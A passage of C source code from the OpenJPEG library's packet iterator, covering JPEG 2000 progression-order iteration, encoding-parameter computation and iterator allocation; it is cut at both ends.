iterator */ /*@{*/ /** @name Local static functions */ /*@{*/ /** Get next packet in layer-resolution-component-precinct order. @param pi packet iterator to modify @return returns false if pi pointed to the last packet or else returns true */ static OPJ_BOOL opj_pi_next_lrcp(opj_pi_iterator_t * pi); /** Get next packet in resolution-layer-component-precinct order. @param pi packet iterator to modify @return returns false if pi pointed to the last packet or else returns true */ static OPJ_BOOL opj_pi_next_rlcp(opj_pi_iterator_t * pi); /** Get next packet in resolution-precinct-component-layer order. @param pi packet iterator to modify @return returns false if pi pointed to the last packet or else returns true */ static OPJ_BOOL opj_pi_next_rpcl(opj_pi_iterator_t * pi); /** Get next packet in precinct-component-resolution-layer order. @param pi packet iterator to modify @return returns false if pi pointed to the last packet or else returns true */ static OPJ_BOOL opj_pi_next_pcrl(opj_pi_iterator_t * pi); /** Get next packet in component-precinct-resolution-layer order. @param pi packet iterator to modify @return returns false if pi pointed to the last packet or else returns true */ static OPJ_BOOL opj_pi_next_cprl(opj_pi_iterator_t * pi); /** * Updates the coding parameters if the encoding is used with Progression order changes and final (or cinema parameters are used). * * @param p_cp the coding parameters to modify * @param p_tileno the tile index being concerned. * @param p_tx0 X0 parameter for the tile * @param p_tx1 X1 parameter for the tile * @param p_ty0 Y0 parameter for the tile * @param p_ty1 Y1 parameter for the tile * @param p_max_prec the maximum precision for all the bands of the tile * @param p_max_res the maximum number of resolutions for all the poc inside the tile. * @param p_dx_min the minimum dx of all the components of all the resolutions for the tile. * @param p_dy_min the minimum dy of all the components of all the resolutions for the tile. */ static void opj_pi_update_encode_poc_and_final ( opj_cp_t *p_cp, OPJ_UINT32 p_tileno, OPJ_INT32 p_tx0, OPJ_INT32 p_tx1, OPJ_INT32 p_ty0, OPJ_INT32 p_ty1, OPJ_UINT32 p_max_prec, OPJ_UINT32 p_max_res, OPJ_UINT32 p_dx_min, OPJ_UINT32 p_dy_min); /** * Updates the coding parameters if the encoding is not used with Progression order changes and final (and cinema parameters are used). * * @param p_cp the coding parameters to modify * @param p_num_comps the number of components * @param p_tileno the tile index being concerned. * @param p_tx0 X0 parameter for the tile * @param p_tx1 X1 parameter for the tile * @param p_ty0 Y0 parameter for the tile * @param p_ty1 Y1 parameter for the tile * @param p_max_prec the maximum precision for all the bands of the tile * @param p_max_res the maximum number of resolutions for all the poc inside the tile. * @param p_dx_min the minimum dx of all the components of all the resolutions for the tile. * @param p_dy_min the minimum dy of all the components of all the resolutions for the tile. */ static void opj_pi_update_encode_not_poc ( opj_cp_t *p_cp, OPJ_UINT32 p_num_comps, OPJ_UINT32 p_tileno, OPJ_INT32 p_tx0, OPJ_INT32 p_tx1, OPJ_INT32 p_ty0, OPJ_INT32 p_ty1, OPJ_UINT32 p_max_prec, OPJ_UINT32 p_max_res, OPJ_UINT32 p_dx_min, OPJ_UINT32 p_dy_min); /** * Gets the encoding parameters needed to update the coding parameters and all the pocs. * * @param p_image the image being encoded. * @param p_cp the coding parameters. * @param tileno the tile index of the tile being encoded. * @param p_tx0 pointer that will hold the X0 parameter for the tile * @param p_tx1 pointer that will hold the X1 parameter for the tile * @param p_ty0 pointer that will hold the Y0 parameter for the tile * @param p_ty1 pointer that will hold the Y1 parameter for the tile * @param p_max_prec pointer that will hold the maximum precision for all the bands of the tile * @param p_max_res pointer that will hold the maximum number of resolutions for all the poc inside the tile. * @param p_dx_min pointer that will hold the minimum dx of all the components of all the resolutions for the tile. * @param p_dy_min pointer that will hold the minimum dy of all the components of all the resolutions for the tile. */ static void opj_get_encoding_parameters(const opj_image_t *p_image, const opj_cp_t *p_cp, OPJ_UINT32 tileno, OPJ_INT32 * p_tx0, OPJ_INT32 * p_tx1, OPJ_INT32 * p_ty0, OPJ_INT32 * p_ty1, OPJ_UINT32 * p_dx_min, OPJ_UINT32 * p_dy_min, OPJ_UINT32 * p_max_prec, OPJ_UINT32 * p_max_res ); /** * Gets the encoding parameters needed to update the coding parameters and all the pocs. * The precinct widths, heights, dx and dy for each component at each resolution will be stored as well. * the last parameter of the function should be an array of pointers of size nb components, each pointer leading * to an area of size 4 * max_res. The data is stored inside this area with the following pattern : * dx_compi_res0 , dy_compi_res0 , w_compi_res0, h_compi_res0 , dx_compi_res1 , dy_compi_res1 , w_compi_res1, h_compi_res1 , ... * * @param p_image the image being encoded. * @param p_cp the coding parameters. * @param tileno the tile index of the tile being encoded. * @param p_tx0 pointer that will hold the X0 parameter for the tile * @param p_tx1 pointer that will hold the X1 parameter for the tile * @param p_ty0 pointer that will hold the Y0 parameter for the tile * @param p_ty1 pointer that will hold the Y1 parameter for the tile * @param p_max_prec pointer that will hold the maximum precision for all the bands of the tile * @param p_max_res pointer that will hold the maximum number of resolutions for all the poc inside the tile. * @param p_dx_min pointer that will hold the minimum dx of all the components of all the resolutions for the tile. * @param p_dy_min pointer that will hold the minimum dy of all the components of all the resolutions for the tile. * @param p_resolutions pointer to an area corresponding to the one described above. */ static void opj_get_all_encoding_parameters(const opj_image_t *p_image, const opj_cp_t *p_cp, OPJ_UINT32 tileno, OPJ_INT32 * p_tx0, OPJ_INT32 * p_tx1, OPJ_INT32 * p_ty0, OPJ_INT32 * p_ty1, OPJ_UINT32 * p_dx_min, OPJ_UINT32 * p_dy_min, OPJ_UINT32 * p_max_prec, OPJ_UINT32 * p_max_res, OPJ_UINT32 ** p_resolutions ); /** * Allocates memory for a packet iterator. Data and data sizes are set by this operation. * No other data is set. The include section of the packet iterator is not allocated. * * @param p_image the image used to initialize the packet iterator (in fact only the number of components is relevant. * @param p_cp the coding parameters. * @param tileno the index of the tile from which creating the packet iterator. */ static opj_pi_iterator_t * opj_pi_create( const opj_image_t *p_image, const opj_cp_t *p_cp, OPJ_UINT32 tileno ); /** * FIXME DOC */ static void opj_pi_update_decode_not_poc (opj_pi_iterator_t * p_pi, opj_tcp_t * p_tcp, OPJ_UINT32 p_max_precision, OPJ_UINT32 p_max_res); /** * FIXME DOC */ static void opj_pi_update_decode_poc ( opj_pi_iterator_t * p_pi, opj_tcp_t * p_tcp, OPJ_UINT32 p_max_precision, OPJ_UINT32 p_max_res); /** * FIXME DOC */ static OPJ_BOOL opj_pi_check_next_level( OPJ_INT32 pos, opj_cp_t *cp, OPJ_UINT32 tileno, OPJ_UINT32 pino, const OPJ_CHAR *prog); /*@}*/ /*@}*/ /* ========================================================== local functions ========================================================== */ static OPJ_BOOL opj_pi_next_lrcp(opj_pi_iterator_t * pi) { opj_pi_comp_t *comp = NULL; opj_pi_resolution_t *res = NULL; OPJ_UINT32 index = 0; if (!pi->first) { comp = &pi->comps[pi->compno]; res = &comp->resolutions[pi->resno]; goto LABEL_SKIP; } else { pi->first = 0; } for (pi->layno = pi->poc.layno0; pi->layno < pi->poc.layno1; pi->layno++) { for (pi->resno = pi->poc.resno0; pi->resno < pi->poc.resno1; pi->resno++) { for (pi->compno = pi->poc.compno0; pi->compno < pi->poc.compno1; pi->compno++) { comp = &pi->comps[pi->compno]; if (pi->resno >= comp->numresolutions) { continue; } res = &comp->resolutions[pi->resno]; if (!pi->tp_on){ pi->poc.precno1 = res->pw * res->ph; } for (pi->precno = pi->poc.precno0; pi->precno < pi->poc.precno1; pi->precno++) { index = pi->layno * pi->step_l + pi->resno * pi->step_r + pi->compno * pi->step_c + pi->precno * pi->step_p; if (!pi->include[index]) { pi->include[index] = 1; return OPJ_TRUE; } LABEL_SKIP:; } } } } return OPJ_FALSE; } static OPJ_BOOL opj_pi_next_rlcp(opj_pi_iterator_t * pi) { opj_pi_comp_t *comp = NULL; opj_pi_resolution_t *res = NULL; OPJ_UINT32 index = 0; if (!pi->first) { comp = &pi->comps[pi->compno]; res = &comp->resolutions[pi->resno]; goto LABEL_SKIP; } else { pi->first = 0; } for (pi->resno = pi->poc.resno0; pi->resno < pi->poc.resno1; pi->resno++) { for (pi->layno = pi->poc.layno0; pi->layno < pi->poc.layno1; pi->layno++) { for (pi->compno = pi->poc.compno0; pi->compno < pi->poc.compno1; pi->compno++) { comp = &pi->comps[pi->compno]; if (pi->resno >= comp->numresolutions) { continue; } res = &comp->resolutions[pi->resno]; if(!pi->tp_on){ pi->poc.precno1 = res->pw * res->ph; } for (pi->precno = pi->poc.precno0; pi->precno < pi->poc.precno1; pi->precno++) { index = pi->layno * pi->step_l + pi->resno * pi->step_r + pi->compno * pi->step_c + pi->precno * pi->step_p; if (!pi->include[index]) { pi->include[index] = 1; return OPJ_TRUE; } LABEL_SKIP:; } } } } return OPJ_FALSE; } static OPJ_BOOL opj_pi_next_rpcl(opj_pi_iterator_t * pi) { opj_pi_comp_t *comp = NULL; opj_pi_resolution_t *res = NULL; OPJ_UINT32 index = 0; if (!pi->first) { goto LABEL_SKIP; } else { OPJ_UINT32 compno, resno; pi->first = 0; pi->dx = 0; pi->dy = 0; for (compno = 0; compno < pi->numcomps; compno++) { comp = &pi->comps[compno]; for (resno = 0; resno < comp->numresolutions; resno++) { OPJ_UINT32 dx, dy; res = &comp->resolutions[resno]; dx = comp->dx * (1u << (res->pdx + comp->numresolutions - 1 - resno)); dy = comp->dy * (1u << (res->pdy + comp->numresolutions - 1 - resno)); pi->dx = !pi->dx ? dx : opj_uint_min(pi->dx, dx); pi->dy = !pi->dy ? dy : opj_uint_min(pi->dy, dy); } } } if (!pi->tp_on){ pi->poc.ty0 = pi->ty0; pi->poc.tx0 = pi->tx0; pi->poc.ty1 = pi->ty1; pi->poc.tx1 = pi->tx1; } for (pi->resno = pi->poc.resno0; pi->resno < pi->poc.resno1; pi->resno++) { for (pi->y = pi->poc.ty0; pi->y < pi->poc.ty1; pi->y += (OPJ_INT32)(pi->dy - (OPJ_UINT32)(pi->y % (OPJ_INT32)pi->dy))) { for (pi->x = pi->poc.tx0; pi->x < pi->poc.tx1; pi->x += (OPJ_INT32)(pi->dx - (OPJ_UINT32)(pi->x % (OPJ_INT32)pi->dx))) { for (pi->compno = pi->poc.compno0; pi->compno < pi->poc.compno1; pi->compno++) { OPJ_UINT32 levelno; OPJ_INT32 trx0, try0; OPJ_INT32 trx1, try1; OPJ_UINT32 rpx, rpy; OPJ_INT32 prci, prcj; comp = &pi->comps[pi->compno]; if (pi->resno >= comp->numresolutions) { continue; } res = &comp->resolutions[pi->resno]; levelno = comp->numresolutions - 1 - pi->resno; trx0 = opj_int_ceildiv(pi->tx0, (OPJ_INT32)(comp->dx << levelno)); try0 = opj_int_ceildiv(pi->ty0, (OPJ_INT32)(comp->dy << levelno)); trx1 = opj_int_ceildiv(pi->tx1, (OPJ_INT32)(comp->dx << levelno)); try1 = opj_int_ceildiv(pi->ty1, (OPJ_INT32)(comp->dy << levelno)); rpx = res->pdx + levelno; rpy = res->pdy + levelno; if (!((pi->y % (OPJ_INT32)(comp->dy << rpy) == 0) || ((pi->y == pi->ty0) && ((try0 << levelno) % (1 << rpy))))){ continue; } if (!((pi->x % (OPJ_INT32)(comp->dx << rpx) == 0) || ((pi->x == pi->tx0) && ((trx0 << levelno) % (1 << rpx))))){ continue; } if ((res->pw==0)||(res->ph==0)) continue; if ((trx0==trx1)||(try0==try1)) continue; prci = opj_int_floordivpow2(opj_int_ceildiv(pi->x, (OPJ_INT32)(comp->dx << levelno)), (OPJ_INT32)res->pdx) - opj_int_floordivpow2(trx0, (OPJ_INT32)res->pdx); prcj = opj_int_floordivpow2(opj_int_ceildiv(pi->y, (OPJ_INT32)(comp->dy << levelno)), (OPJ_INT32)res->pdy) - opj_int_floordivpow2(try0, (OPJ_INT32)res->pdy); pi->precno = (OPJ_UINT32)(prci + prcj * (OPJ_INT32)res->pw); for (pi->layno = pi->poc.layno0; pi->layno < pi->poc.layno1; pi->layno++) { index = pi->layno * pi->step_l + pi->resno * pi->step_r + pi->compno * pi->step_c + pi->precno * pi->step_p; if (!pi->include[index]) { pi->include[index] = 1; return OPJ_TRUE; } LABEL_SKIP:; } } } } } return OPJ_FALSE; } static OPJ_BOOL opj_pi_next_pcrl(opj_pi_iterator_t * pi) { opj_pi_comp_t *comp = NULL; opj_pi_resolution_t *res = NULL; OPJ_UINT32 index = 0; if (!pi->first) { comp = &pi->comps[pi->compno]; goto LABEL_SKIP; } else { OPJ_UINT32 compno, resno; pi->first = 0; pi->dx = 0; pi->dy = 0; for (compno = 0; compno < pi->numcomps; compno++) { comp = &pi->comps[compno]; for (resno = 0; resno < comp->numresolutions; resno++) { OPJ_UINT32 dx, dy; res = &comp->resolutions[resno]; dx = comp->dx * (1u << (res->pdx + comp->numresolutions - 1 - resno)); dy = comp->dy * (1u << (res->pdy + comp->numresolutions - 1 - resno)); pi->dx = !pi->dx ? dx : opj_uint_min(pi->dx, dx); pi->dy = !pi->dy ? dy : opj_uint_min(pi->dy, dy); } } } if (!pi->tp_on){ pi->poc.ty0 = pi->ty0; pi->poc.tx0 = pi->tx0; pi->poc.ty1 = pi->ty1; pi->poc.tx1 = pi->tx1; } for (pi->y = pi->poc.ty0; pi->y < pi->poc.ty1; pi->y += (OPJ_INT32)(pi->dy - (OPJ_UINT32)(pi->y % (OPJ_INT32)pi->dy))) { for (pi->x = pi->poc.tx0; pi->x < pi->poc.tx1; pi->x += (OPJ_INT32)(pi->dx - (OPJ_UINT32)(pi->x % (OPJ_INT32)pi->dx))) { for (pi->compno = pi->poc.compno0; pi->compno < pi->poc.compno1; pi->compno++) { comp = &pi->comps[pi->compno]; for (pi->resno = pi->poc.resno0; pi->resno < opj_uint_min(pi->poc.resno1, comp->numresolutions); pi->resno++) { OPJ_UINT32 levelno; OPJ_INT32 trx0, try0; OPJ_INT32 trx1, try1; OPJ_UINT32 rpx, rpy; OPJ_INT32 prci, prcj; res = &comp->resolutions[pi->resno]; levelno = comp->numresolutions - 1 - pi->resno; trx0 = opj_int_ceildiv(pi->tx0, (OPJ_INT32)(comp->dx << levelno)); try0 = opj_int_ceildiv(pi->ty0, (OPJ_INT32)(comp->dy << levelno)); trx1 = opj_int_ceildiv(pi->tx1, (OPJ_INT32)(comp->dx << levelno)); try1 = opj_int_ceildiv(pi->ty1, (OPJ_INT32)(comp->dy << levelno)); rpx = res->pdx + levelno; rpy = res->pdy + levelno; if (!((pi->y % (OPJ_INT32)(comp->dy << rpy) == 0) || ((pi->y == pi->ty0) && ((try0 << levelno) % (1 << rpy))))){ continue; } if (!((pi->x % (OPJ_INT32)(comp->dx << rpx) == 0) || ((pi->x == pi->tx0) && ((trx0 << levelno) % (1 << rpx))))){ continue; } if ((res->pw==0)||(res->ph==0)) continue; if ((trx0==trx1)||(try0==try1)) continue; prci = opj_int_floordivpow2(opj_int_ceildiv(pi->x, (OPJ_INT32)(comp->dx << levelno)), (OPJ_INT32)res->pdx) - opj_int_floordivpow2(trx0, (OPJ_INT32)res->pdx); prcj = opj_int_floordivpow2(opj_int_ceildiv(pi->y, (OPJ_INT32)(comp->dy << levelno)), (OPJ_INT32)res->pdy) - opj_int_floordivpow2(try0, (OPJ_INT32)res->pdy); pi->precno = (OPJ_UINT32)(prci + prcj * (OPJ_INT32)res->pw); for (pi->layno = pi->poc.layno0; pi->layno < pi->poc.layno1; pi->layno++) { index = pi->layno * pi->step_l + pi->resno * pi->step_r + pi->compno * pi->step_c + pi->precno * pi->step_p; if (!pi->include[index]) { pi->include[index] = 1; return OPJ_TRUE; } LABEL_SKIP:; } } } } } return OPJ_FALSE; } static OPJ_BOOL opj_pi_next_cprl(opj_pi_iterator_t * pi) { opj_pi_comp_t *comp = NULL; opj_pi_resolution_t *res = NULL; OPJ_UINT32 index = 0; if (!pi->first) { comp = &pi->comps[pi->compno]; goto LABEL_SKIP; } else { pi->first = 0; } for (pi->compno = pi->poc.compno0; pi->compno < pi->poc.compno1; pi->compno++) { OPJ_UINT32 resno; comp = &pi->comps[pi->compno]; pi->dx = 0; pi->dy = 0; for (resno = 0; resno < comp->numresolutions; resno++) { OPJ_UINT32 dx, dy; res = &comp->resolutions[resno]; dx = comp->dx * (1u << (res->pdx + comp->numresolutions - 1 - resno)); dy = comp->dy * (1u << (res->pdy + comp->numresolutions - 1 - resno)); pi->dx = !pi->dx ? dx : opj_uint_min(pi->dx, dx); pi->dy = !pi->dy ? dy : opj_uint_min(pi->dy, dy); } if (!pi->tp_on){ pi->poc.ty0 = pi->ty0; pi->poc.tx0 = pi->tx0; pi->poc.ty1 = pi->ty1; pi->poc.tx1 = pi->tx1; } for (pi->y = pi->poc.ty0; pi->y < pi->poc.ty1; pi->y += (OPJ_INT32)(pi->dy - (OPJ_UINT32)(pi->y % (OPJ_INT32)pi->dy))) { for (pi->x = pi->poc.tx0; pi->x < pi->poc.tx1; pi->x += (OPJ_INT32)(pi->dx - (OPJ_UINT32)(pi->x % (OPJ_INT32)pi->dx))) { for (pi->resno = pi->poc.resno0; pi->resno < opj_uint_min(pi->poc.resno1, comp->numresolutions); pi->resno++) { OPJ_UINT32 levelno; OPJ_INT32 trx0, try0; OPJ_INT32 trx1, try1; OPJ_UINT32 rpx, rpy; OPJ_INT32 prci, prcj; res = &comp->resolutions[pi->resno]; levelno = comp->numresolutions - 1 - pi->resno; trx0 = opj_int_ceildiv(pi->tx0, (OPJ_INT32)(comp->dx << levelno)); try0 = opj_int_ceildiv(pi->ty0, (OPJ_INT32)(comp->dy << levelno)); trx1 = opj_int_ceildiv(pi->tx1, (OPJ_INT32)(comp->dx << levelno)); try1 = opj_int_ceildiv(pi->ty1, (OPJ_INT32)(comp->dy << levelno)); rpx = res->pdx + levelno; rpy = res->pdy + levelno; if (!((pi->y % (OPJ_INT32)(comp->dy << rpy) == 0) || ((pi->y == pi->ty0) && ((try0 << levelno) % (1 << rpy))))){ continue; } if (!((pi->x % (OPJ_INT32)(comp->dx << rpx) == 0) || ((pi->x == pi->tx0) && ((trx0 << levelno) % (1 << rpx))))){ continue; } if ((res->pw==0)||(res->ph==0)) continue; if ((trx0==trx1)||(try0==try1)) continue; prci = opj_int_floordivpow2(opj_int_ceildiv(pi->x, (OPJ_INT32)(comp->dx << levelno)), (OPJ_INT32)res->pdx) - opj_int_floordivpow2(trx0, (OPJ_INT32)res->pdx); prcj = opj_int_floordivpow2(opj_int_ceildiv(pi->y, (OPJ_INT32)(comp->dy << levelno)), (OPJ_INT32)res->pdy) - opj_int_floordivpow2(try0, (OPJ_INT32)res->pdy); pi->precno = (OPJ_UINT32)(prci + prcj * (OPJ_INT32)res->pw); for (pi->layno = pi->poc.layno0; pi->layno < pi->poc.layno1; pi->layno++) { index = pi->layno * pi->step_l + pi->resno * pi->step_r + pi->compno * pi->step_c + pi->precno * pi->step_p; if (!pi->include[index]) { pi->include[index] = 1; return OPJ_TRUE; } LABEL_SKIP:; } } } } } return OPJ_FALSE; } static void opj_get_encoding_parameters( const opj_image_t *p_image, const opj_cp_t *p_cp, OPJ_UINT32 p_tileno, OPJ_INT32 * p_tx0, OPJ_INT32 * p_tx1, OPJ_INT32 * p_ty0, OPJ_INT32 * p_ty1, OPJ_UINT32 * p_dx_min, OPJ_UINT32 * p_dy_min, OPJ_UINT32 * p_max_prec, OPJ_UINT32 * p_max_res ) { /* loop */ OPJ_UINT32 compno, resno; /* pointers */ const opj_tcp_t *l_tcp = 00; const opj_tccp_t * l_tccp = 00; const opj_image_comp_t * l_img_comp = 00; /* position in x and y of tile */ OPJ_UINT32 p, q; /* preconditions */ assert(p_cp != 00); assert(p_image != 00); assert(p_tileno < p_cp->tw * p_cp->th); /* initializations */ l_tcp = &p_cp->tcps [p_tileno]; l_img_comp = p_image->comps; l_tccp = l_tcp->tccps; /* here calculation of tx0, tx1, ty0, ty1, maxprec, dx and dy */ p = p_tileno % p_cp->tw; q = p_tileno / p_cp->tw; /* find extent of tile */ *p_tx0 = opj_int_max((OPJ_INT32)(p_cp->tx0 + p * p_cp->tdx), (OPJ_INT32)p_image->x0); *p_tx1 = opj_int_min((OPJ_INT32)(p_cp->tx0 + (p + 1) * p_cp->tdx), (OPJ_INT32)p_image->x1); *p_ty0 = opj_int_max((OPJ_INT32)(p_cp->ty0 + q * p_cp->tdy), (OPJ_INT32)p_image->y0); *p_ty1 = opj_int_min((OPJ_INT32)(p_cp->ty0 + (q + 1) * p_cp->tdy), (OPJ_INT32)p_image->y1); /* max precision is 0 (can only grow) */ *p_max_prec = 0; *p_max_res = 0; /* take the largest value for dx_min and dy_min */ *p_dx_min = 0x7fffffff; *p_dy_min = 0x7fffffff; for (compno = 0; compno < p_image->numcomps; ++compno) { /* arithmetic variables to calculate */ OPJ_UINT32 l_level_no; OPJ_INT32 l_rx0, l_ry0, l_rx1, l_ry1; OPJ_INT32 l_px0, l_py0, l_px1, py1; OPJ_UINT32 l_pdx, l_pdy; OPJ_UINT32 l_pw, l_ph; OPJ_UINT32 l_product; OPJ_INT32 l_tcx0, l_tcy0, l_tcx1, l_tcy1; l_tcx0 = opj_int_ceildiv(*p_tx0, (OPJ_INT32)l_img_comp->dx); l_tcy0 = opj_int_ceildiv(*p_ty0, (OPJ_INT32)l_img_comp->dy); l_tcx1 = opj_int_ceildiv(*p_tx1, (OPJ_INT32)l_img_comp->dx); l_tcy1 = opj_int_ceildiv(*p_ty1, (OPJ_INT32)l_img_comp->dy); if (l_tccp->numresolutions > *p_max_res) { *p_max_res = l_tccp->numresolutions; } /* use custom size for precincts */ for (resno = 0; resno < l_tccp->numresolutions; ++resno) { OPJ_UINT32 l_dx, l_dy; /* precinct width and height */ l_pdx = l_tccp->prcw[resno]; l_pdy = l_tccp->prch[resno]; l_dx = l_img_comp->dx * (1u << (l_pdx + l_tccp->numresolutions - 1 - resno)); l_dy = l_img_comp->dy * (1u << (l_pdy + l_tccp->numresolutions - 1 - resno)); /* take the minimum size for dx for each comp and resolution */ *p_dx_min = opj_uint_min(*p_dx_min, l_dx); *p_dy_min = opj_uint_min(*p_dy_min, l_dy); /* various calculations of extents */ l_level_no = l_tccp->numresolutions - 1 - resno; l_rx0 = opj_int_ceildivpow2(l_tcx0, (OPJ_INT32)l_level_no); l_ry0 = opj_int_ceildivpow2(l_tcy0, (OPJ_INT32)l_level_no); l_rx1 = opj_int_ceildivpow2(l_tcx1, (OPJ_INT32)l_level_no); l_ry1 = opj_int_ceildivpow2(l_tcy1, (OPJ_INT32)l_level_no); l_px0 = opj_int_floordivpow2(l_rx0, (OPJ_INT32)l_pdx) << l_pdx; l_py0 = opj_int_floordivpow2(l_ry0, (OPJ_INT32)l_pdy) << l_pdy; l_px1 = opj_int_ceildivpow2(l_rx1, (OPJ_INT32)l_pdx) << l_pdx; py1 = opj_int_ceildivpow2(l_ry1, (OPJ_INT32)l_pdy) << l_pdy; l_pw = (l_rx0==l_rx1)?0:(OPJ_UINT32)((l_px1 - l_px0) >> l_pdx); l_ph = (l_ry0==l_ry1)?0:(OPJ_UINT32)((py1 - l_py0) >> l_pdy); l_product = l_pw * l_ph; /* update precision */ if (l_product > *p_max_prec) { *p_max_prec = l_product; } } ++l_img_comp; ++l_tccp; } } static void opj_get_all_encoding_parameters( const opj_image_t *p_image, const opj_cp_t *p_cp, OPJ_UINT32 tileno, OPJ_INT32 * p_tx0, OPJ_INT32 * p_tx1, OPJ_INT32 * p_ty0, OPJ_INT32 * p_ty1, OPJ_UINT32 * p_dx_min, OPJ_UINT32 * p_dy_min, OPJ_UINT32 * p_max_prec, OPJ_UINT32 * p_max_res, OPJ_UINT32 ** p_resolutions ) { /* loop*/ OPJ_UINT32 compno, resno; /* pointers*/ const opj_tcp_t *tcp = 00; const opj_tccp_t * l_tccp = 00; const opj_image_comp_t * l_img_comp = 00; /* to store l_dx, l_dy, w and h for each resolution and component.*/ OPJ_UINT32 * lResolutionPtr; /* position in x and y of tile*/ OPJ_UINT32 p, q; /* non-corrected (in regard to image offset) tile offset */ OPJ_UINT32 l_tx0, l_ty0; /* preconditions in debug*/ assert(p_cp != 00); assert(p_image != 00); assert(tileno < p_cp->tw * p_cp->th); /* initializations*/ tcp = &p_cp->tcps [tileno]; l_tccp = tcp->tccps; l_img_comp = p_image->comps; /* position in x and y of tile*/ p = tileno % p_cp->tw; q = tileno / p_cp->tw; /* here calculation of tx0, tx1, ty0, ty1, maxprec, l_dx and l_dy */ l_tx0 = p_cp->tx0 + p * p_cp->tdx; /* can't be greater than p_image->x1 so won't overflow */ *p_tx0 = (OPJ_INT32)opj_uint_max(l_tx0, p_image->x0); *p_tx1 = (OPJ_INT32)opj_uint_min(opj_uint_adds(l_tx0, p_cp->tdx), p_image->x1); l_ty0 = p_cp->ty0 + q * p_cp->tdy; /* can't be greater than p_image->y1 so won't overflow */ *p_ty0 = (OPJ_INT32)opj_uint_max(l_ty0, p_image->y0); *p_ty1 = (OPJ_INT32)opj_uint_min(opj_uint_adds(l_ty0, p_cp->tdy), p_image->y1); /* max precision and resolution is 0 (can only grow)*/ *p_max_prec = 0; *p_max_res = 0; /* take the largest value for dx_min and dy_min*/ *p_dx_min = 0x7fffffff; *p_dy_min = 0x7fffffff; for (compno = 0; compno < p_image->numcomps; ++compno) { /* aritmetic variables to calculate*/ OPJ_UINT32 l_level_no; OPJ_INT32 l_rx0, l_ry0, l_rx1, l_ry1; OPJ_INT32 l_px0, l_py0, l_px1, py1; OPJ_UINT32 l_product; OPJ_INT32 l_tcx0, l_tcy0, l_tcx1, l_tcy1; OPJ_UINT32 l_pdx, l_pdy , l_pw , l_ph; lResolutionPtr = p_resolutions[compno]; l_tcx0 = opj_int_ceildiv(*p_tx0, (OPJ_INT32)l_img_comp->dx); l_tcy0 = opj_int_ceildiv(*p_ty0, (OPJ_INT32)l_img_comp->dy); l_tcx1 = opj_int_ceildiv(*p_tx1, (OPJ_INT32)l_img_comp->dx); l_tcy1 = opj_int_ceildiv(*p_ty1, (OPJ_INT32)l_img_comp->dy); if (l_tccp->numresolutions > *p_max_res) { *p_max_res = l_tccp->numresolutions; } /* use custom size for precincts*/ l_level_no = l_tccp->numresolutions; for (resno = 0; resno < l_tccp->numresolutions; ++resno) { OPJ_UINT32 l_dx, l_dy; --l_level_no; /* precinct width and height*/ l_pdx = l_tccp->prcw[resno]; l_pdy = l_tccp->prch[resno]; *lResolutionPtr++ = l_pdx; *lResolutionPtr++ = l_pdy; l_dx = l_img_comp->dx * (1u << (l_pdx + l_level_no)); l_dy = l_img_comp->dy * (1u << (l_pdy + l_level_no)); /* take the minimum size for l_dx for each comp and resolution*/ *p_dx_min = (OPJ_UINT32)opj_int_min((OPJ_INT32)*p_dx_min, (OPJ_INT32)l_dx); *p_dy_min = (OPJ_UINT32)opj_int_min((OPJ_INT32)*p_dy_min, (OPJ_INT32)l_dy); /* various calculations of extents*/ l_rx0 = opj_int_ceildivpow2(l_tcx0, (OPJ_INT32)l_level_no); l_ry0 = opj_int_ceildivpow2(l_tcy0, (OPJ_INT32)l_level_no); l_rx1 = opj_int_ceildivpow2(l_tcx1, (OPJ_INT32)l_level_no); l_ry1 = opj_int_ceildivpow2(l_tcy1, (OPJ_INT32)l_level_no); l_px0 = opj_int_floordivpow2(l_rx0, (OPJ_INT32)l_pdx) << l_pdx; l_py0 = opj_int_floordivpow2(l_ry0, (OPJ_INT32)l_pdy) << l_pdy; l_px1 = opj_int_ceildivpow2(l_rx1, (OPJ_INT32)l_pdx) << l_pdx; py1 = opj_int_ceildivpow2(l_ry1, (OPJ_INT32)l_pdy) << l_pdy; l_pw = (l_rx0==l_rx1)?0:(OPJ_UINT32)((l_px1 - l_px0) >> l_pdx); l_ph = (l_ry0==l_ry1)?0:(OPJ_UINT32)((py1 - l_py0) >> l_pdy); *lResolutionPtr++ = l_pw; *lResolutionPtr++ = l_ph; l_product = l_pw * l_ph; /* update precision*/ if (l_product > *p_max_prec) { *p_max_prec = l_product; } } ++l_tccp; ++l_img_comp; } } static opj_pi_iterator_t * opj_pi_create( const opj_image_t *image, const opj_cp_t *cp, OPJ_UINT32 tileno ) { /* loop*/ OPJ_UINT32 pino, compno; /* number of poc in the p_pi*/ OPJ_UINT32 l_poc_bound; /* pointers to tile coding parameters and components.*/ opj_pi_iterator_t *l_pi = 00; opj_tcp_t *tcp = 00; const opj_tccp_t *tccp = 00; /* current packet iterator being allocated*/ opj_pi_iterator_t *l_current_pi = 00; /* preconditions in debug*/ assert(cp != 00); assert(image != 00); assert(tileno < cp->tw * cp->th); /* initializations*/ tcp = &cp->tcps[tileno]; l_poc_bound = tcp->numpocs+1; /* memory allocations*/ l_pi = (opj_pi_iterator_t*) opj_calloc((l_poc_bound), sizeof(opj_pi_iterator_t)); if (!l_pi) { return NULL; } l_current_pi = l_pi; for (pino = 0; pino < l_poc_bound ; ++pino) { l_current_pi->comps = (opj_pi_comp_t*) opj_calloc(image->numcomps, sizeof(opj_pi_comp_t)); if (! l_current_pi->comps) { opj_pi_destroy(l_pi, l_poc_bound); return NULL; } l_current_pi->numcomps = image->numcomps; for (compno = 0; compno < image->numcomps; ++compno) { opj_pi_comp_t *comp = &l_current_pi->comps[compno]; tccp = &tcp->tccps[compno]; comp->resolutions = (opj_pi_resolution_t*) opj_calloc(tccp->numresolutions, sizeof(opj_pi_resolution_t)); if (!comp->resolutions) { opj_pi_destroy(l_pi, l_poc_bound); return 00; } comp->numresolutions = tccp->numresolutions; } ++l_current_pi; } return l_pi; } static void opj_pi_update_encode_poc_and_final ( opj_cp_t *p_cp, OPJ_UINT32 p_tileno, OPJ_INT32 p_tx0, OPJ_INT32 p_tx1, OPJ_INT32 p_ty0, OPJ_INT32 p_ty1, OPJ_UINT32 p_max_prec, OPJ_UINT32 p_max_res, OPJ_UINT32 p_dx_min, OPJ_UINT32 p_dy_min) { /* loop*/ OPJ_UINT32 pino; /* tile coding parameter*/ opj_tcp_t *l_tcp = 00; /* current poc being updated*/ opj_poc_t * l_current_poc = 00; /* number of pocs*/ OPJ_UINT32 l_poc_bound; OPJ_ARG_NOT_USED(p_max_res); /* preconditions in debug*/ assert(p_cp != 00); assert(p_tileno 